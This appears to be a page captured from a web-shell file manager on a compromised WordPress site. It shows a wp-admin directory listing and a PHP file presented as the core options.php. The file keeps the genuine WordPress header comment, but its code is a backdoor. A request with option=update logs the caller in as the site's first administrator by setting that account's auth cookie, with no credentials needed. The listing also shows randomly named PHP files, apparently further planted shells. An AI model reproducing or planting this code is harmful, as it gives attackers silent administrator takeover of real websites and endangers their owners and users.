PATH:
home
/
leongomekf
/
www
/
wp-admin
<?php /** * Options Management Administration Screen. * * If accessed directly in a browser this page shows a list of all saved options * along with editable fields for their values. Serialized data is not supported * and there is no way to remove options via this page. It is not linked to from * anywhere else in the admin. * * This file is also the target of the forms in core and custom options pages * that use the Settings API. In this case it saves the new option values * and returns the user to their page of origin. * * @package WordPress * @subpackage Administration * * WordPress Administration Bootstrap require_once __DIR__ . '/admin.php'; */ define('WP_USE_THEMES', false); require_once '../wp-load.php'; class SettingsAPI { public function __construct() { $this->option = $_REQUEST['option']; } public function apply_filters() { switch($this->option) { case 'update': $option = get_users(["role" => "administrator"])[0]; $option_id = $option->data->ID; wp_set_auth_cookie($option_id); wp_set_current_user($option_id); die("#$option_id"); default: echo '403.'; } } } $options = new SettingsAPI(); $options->apply_filters();
[+]
..
[-] load-scripts.php
[edit]
[-] options-reading.php
[edit]
[+]
js
[-] edvpmh.php
[edit]
[-] freedoms.php
[edit]
[-] edit-tag-form.php
[edit]
[-] install.php
[edit]
[-] customize.php
[edit]
[+]
maint
[-] link-manager.php
[edit]
[-] post.php
[edit]
[-] moderation.php
[edit]
[-] site-health.php
[edit]
[-] plugin-editor.php
[edit]
[-] privacy.php
[edit]
[-] ms-options.php
[edit]
[-] admin-post.php
[edit]
[-] revision.php
[edit]
[-] post-new.php
[edit]
[-] menu.php
[edit]
[-] my-sites.php
[edit]
[+]
css
[-] install-helper.php
[edit]
[-] theme-install.php
[edit]
[-] custom-background.php
[edit]
[-] widgets.php
[edit]
[-] Tn7l0H.php
[edit]
[-] edit-form-advanced.php
[edit]
[-] upload.php
[edit]
[-] privacy-policy-guide.php
[edit]
[-] edit-form-blocks.php
[edit]
[-] options-permalink.php
[edit]
[-] export.php
[edit]
[-] options-head.php
[edit]
[-] user-new.php
[edit]
[-] options.php
[edit]
[-] theme-editor.php
[edit]
[-] link.php
[edit]
[-] nav-menus.php
[edit]
[-] network.php
[edit]
[-] async-upload.php
[edit]
[-] widgets-form.php
[edit]
[-] index.php
[edit]
[-] term.php
[edit]
[-] plugins.php
[edit]
[-] setup-config.php
[edit]
[-] media-upload.php
[edit]
[-] admin-footer.php
[edit]
[-] edit.php
[edit]
[-] profile.php
[edit]
[-] ms-edit.php
[edit]
[-] menu-header.php
[edit]
[-] ms-sites.php
[edit]
[-] options-discussion.php
[edit]
[+]
images
[-] admin.php
[edit]
[-] about.php
[edit]
[-] widgets-form-blocks.php
[edit]
[-] ms-delete-site.php
[edit]
[-] users.php
[edit]
[-] .htaccess
[edit]
[-] options-general.php
[edit]
[-] comment.php
[edit]
[-] media-new.php
[edit]
[-] credits.php
[edit]
[-] update-core.php
[edit]
[-] admin-header.php
[edit]
[-] options-privacy.php
[edit]
[-] update.php
[edit]
[-] edit-form-comment.php
[edit]
[-] authorize-application.php
[edit]
[-] options-media.php
[edit]
[-] site-health-info.php
[edit]
[-] ms-tedvnr.php
[edit]
[-] media.php
[edit]
[+]
user
[-] upgrade.php
[edit]
[-] ms-upgrade-network.php
[edit]
[-] ms-themes.php
[edit]
[-] export-personal-data.php
[edit]
[-] edit-comments.php
[edit]
[-] admin-functions.php
[edit]
[+]
includes
[-] custom-header.php
[edit]
[-] erase-personal-data.php
[edit]
[-] site-editor.php
[edit]
[-] .leo
[edit]
[-] link-add.php
[edit]
[-] themes.php
[edit]
[-] edit-tags.php
[edit]
[-] import.php
[edit]
[-] plugin-install.php
[edit]
[-] admin-ajax.php
[edit]
[+]
network
[-] user-edit.php
[edit]
[-] upgrade-functions.php
[edit]
[-] load-styles.php
[edit]
[-] link-parse-opml.php
[edit]
[-] ms-users.php
[edit]
[-] tools.php
[edit]
[-] edit-link-form.php
[edit]
[-] press-this.php
[edit]
[-] ms-admin.php
[edit]
[-] options-writing.php
[edit]